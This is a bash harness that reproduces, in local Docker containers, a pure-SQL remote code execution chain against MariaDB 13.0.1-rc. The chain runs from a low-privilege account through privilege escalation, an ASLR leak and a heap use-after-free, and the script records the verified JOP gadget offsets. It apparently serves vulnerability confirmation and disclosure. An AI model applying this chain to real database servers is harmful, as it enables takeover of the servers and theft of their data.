#!/bin/bash
set -euo pipefail

# Reproduction of MDEV-40470-F05-RCE-CHAIN:
# MariaDB 13.0.1-rc pure-SQL RCE chain (F-09 GRANT PROXY priv-esc +
# /proc/self/maps ASLR leak + F-05 SYS_REFCURSOR heap UAF -> JOP to system())
# against the stock pinned image mariadb@sha256:ef34af04..., from a USAGE-only
# low-privilege account over TCP/3306. Two fresh vulnerable attempts, each with
# a fresh container (fresh ASLR). No fixed released version exists (F-09 fix
# dbd60d0ad8d is dev-branch only; F-05 unfixed upstream), so the negative
# control is in-band: lowpriv LOAD DATA INFILE is denied before escalation.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ATTEMPT_LOGS="$LOGS/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$ATTEMPT_LOGS"

cd "$ROOT"
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

IMAGE="mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9"
CONTAINER="mariadb-rce-lab"
EXPLOIT="$REPRO_DIR/exploit_mdev40470.py"
MANIFEST="$REPRO_DIR/runtime_manifest.json"
RESULT=1
ATTEMPT1_OK=false
ATTEMPT2_OK=false

write_manifest () {
  python3 - "$MANIFEST" "$1" "$2" "$3" <<'PYEOF'
import json, sys
path, reached, a1, a2 = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
manifest = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "TCP port 3306 MariaDB SQL interface; pure-SQL exploit issues GRANT PROXY, LOAD DATA INFILE /proc/self/maps, 128MiB user variable, and CALL uaf5 stored procedure from a USAGE-only account",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": reached == "true",
  "runtime_stack": ["mariadb:13.0.1-rc (pinned mariadb@sha256:ef34af04...)", "docker"],
  "target_identity": {
    "repository_url": "https://github.com/MariaDB/server",
    "commit_sha": None,
    "target_digest": "sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9",
    "runtime_digest": "sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9",
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/repro/version_check.log",
    "logs/repro/gadget_check.log",
    "logs/repro/vuln_attempt_1.log",
    "logs/repro/vuln_attempt_2.log",
    "logs/repro/marker_attempt_1.log",
    "logs/repro/marker_attempt_2.log",
    "logs/repro/dockerlogs_attempt_1.log",
    "logs/repro/dockerlogs_attempt_2.log"
  ],
  "notes": "attempt1_confirmed=%s attempt2_confirmed=%s; both attempts used fresh containers with fresh ASLR" % (a1, a2)
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
PYEOF
}

trap 'write_manifest false "$ATTEMPT1_OK" "$ATTEMPT2_OK"' ERR

echo "[*] ==== MDEV-40470 F-05 RCE chain reproduction ===="

# ---- dependencies (clean sandbox: install what we need) ----
if ! command -v mariadb >/dev/null 2>&1; then
  echo "[*] installing mariadb-client ..."
  sudo apt-get update -qq && sudo apt-get install -y -qq mariadb-client
fi
if ! command -v objdump >/dev/null 2>&1; then
  echo "[*] installing binutils ..."
  sudo apt-get update -qq && sudo apt-get install -y -qq binutils
fi
command -v docker >/dev/null 2>&1 || { echo "[-] docker required"; exit 2; }

# ---- pull pinned image ----
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
  echo "[*] pulling pinned image $IMAGE ..."
  docker pull "$IMAGE" | tee "$ATTEMPT_LOGS/image_pull.log"
fi
docker image inspect -f 'pinned image id: {{.Id}}' "$IMAGE"

# ---- static gadget verification against the pinned binaries ----
echo "[*] verifying JOP gadget offsets in the pinned image binaries"
docker rm -f gadget-src >/dev/null 2>&1 || true
docker create --name gadget-src "$IMAGE" >/dev/null
docker cp gadget-src:/usr/sbin/mariadbd /tmp/mariadbd-pinned
docker cp gadget-src:/usr/lib/x86_64-linux-gnu/libc.so.6 /tmp/libc-pinned.so.6
docker rm -f gadget-src >/dev/null
{
  echo "== PIE+0x80da77 (expect: call *0x100(%rax)) =="
  objdump -d --start-address=0x80da77 --stop-address=0x80da7d /tmp/mariadbd-pinned | grep -E 'call\s+\*0x100\(%rax\)' && echo D2_OK
  echo "== PIE+0xe3075b (expect: mov 0xa8(%rax),%rdi; call *0xa0(%rax)) =="
  objdump -d --start-address=0xe3075b --stop-address=0xe30768 /tmp/mariadbd-pinned | grep -E 'mov\s+0xa8\(%rax\),%rdi' && echo D1a_OK
  objdump -d --start-address=0xe30762 --stop-address=0xe30768 /tmp/mariadbd-pinned | grep -E 'call\s+\*0xa0\(%rax\)' && echo D1b_OK
  echo "== libc+0x5c560 (expect: system entry, endbr64) =="
  objdump -d --start-address=0x5c560 --stop-address=0x5c570 /tmp/libc-pinned.so.6 | grep -E 'endbr64' && echo SYS_OK
} | tee "$ATTEMPT_LOGS/gadget_check.log"
grep -q D2_OK "$ATTEMPT_LOGS/gadget_check.log"
grep -q D1a_OK "$ATTEMPT_LOGS/gadget_check.log"
grep -q D1b_OK "$ATTEMPT_LOGS/gadget_check.log"
grep -q SYS_OK "$ATTEMPT_LOGS/gadget_check.log"
echo "[+] all gadget offsets verified in pinned image"

# ---- lab init SQL (lowpriv user: USAGE + appdb.* only) ----
SETUP_SQL="$REPRO_DIR/setup.sql"
cat > "$SETUP_SQL" <<'SQL'
-- Low-privilege user: USAGE only (can connect, nothing else)
-- This is the starting point. The exploit escalates from here.
GRANT USAGE ON *.* TO 'lowpriv'@'%';
GRANT ALL ON appdb.* TO 'lowpriv'@'%';
SQL

start_fresh_container () {
  docker rm -f "$CONTAINER" >/dev/null 2>&1 || true
  docker run -d --name "$CONTAINER" \
    -e MARIADB_ROOT_PASSWORD=labpass \
    -e MARIADB_DATABASE=appdb \
    -e MARIADB_USER=lowpriv \
    -e MARIADB_PASSWORD=lowpriv \
    --cap-add SYS_PTRACE \
    -p 3306:3306 \
    -v "$SETUP_SQL:/docker-entrypoint-initdb.d/setup.sql:ro" \
    "$IMAGE" >/dev/null
  echo "[*] waiting for mariadb to accept connections ..."
  for i in $(seq 1 90); do
    if mariadb -h127.0.0.1 -P3306 -ulowpriv -plowpriv appdb -e "SELECT 1;" >/dev/null 2>&1; then
      return 0
    fi
    sleep 2
  done
  echo "[-] mariadb did not become ready"
  return 1
}

run_attempt () {
  local n="$1"
  local marker="/tmp/mdev40470_pwned_attempt${n}"
  echo "[*] ---- vulnerable attempt $n (fresh container, fresh ASLR) ----"
  start_fresh_container
  if [ "$n" = "1" ]; then
    mariadb -h127.0.0.1 -P3306 -uroot -plabpass -e "SELECT VERSION();" \
      | tee "$ATTEMPT_LOGS/version_check.log"
  fi
  set +e
  timeout 420 python3 "$EXPLOIT" \
    --host 127.0.0.1 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > $marker" --marker "$marker" \
    --container "$CONTAINER" 2>&1 | tee "$ATTEMPT_LOGS/vuln_attempt_${n}.log"
  local rc=${PIPESTATUS[0]}
  set -e
  docker logs "$CONTAINER" > "$ATTEMPT_LOGS/dockerlogs_attempt_${n}.log" 2>&1 || true
  docker exec "$CONTAINER" cat "$marker" > "$ATTEMPT_LOGS/marker_attempt_${n}.log" 2>&1 || true
  echo "[*] attempt $n exploit rc=$rc"
  cat "$ATTEMPT_LOGS/marker_attempt_${n}.log" || true
  if grep -q "RCE CONFIRMED" "$ATTEMPT_LOGS/vuln_attempt_${n}.log" \
     && grep -q "uid=999(mysql)" "$ATTEMPT_LOGS/marker_attempt_${n}.log"; then
    echo "[+] attempt $n: RCE CONFIRMED (marker contains uid=999(mysql))"
    return 0
  fi
  echo "[-] attempt $n: not confirmed"
  return 1
}

if run_attempt 1; then ATTEMPT1_OK=true; fi
if run_attempt 2; then ATTEMPT2_OK=true; fi

docker rm -f "$CONTAINER" >/dev/null 2>&1 || true

if $ATTEMPT1_OK && $ATTEMPT2_OK; then
  RESULT=0
  write_manifest true "$ATTEMPT1_OK" "$ATTEMPT2_OK"
  echo "[+] ============================================================"
  echo "[+] CHAIN CONFIRMED 2/2: pure-SQL RCE as uid=999(mysql) from a"
  echo "[+] USAGE-only account over TCP/3306 on the pinned 13.0.1 image"
  echo "[+] ============================================================"
else
  write_manifest false "$ATTEMPT1_OK" "$ATTEMPT2_OK"
  echo "[-] chain not fully confirmed (attempt1=$ATTEMPT1_OK attempt2=$ATTEMPT2_OK)"
fi
exit $RESULT
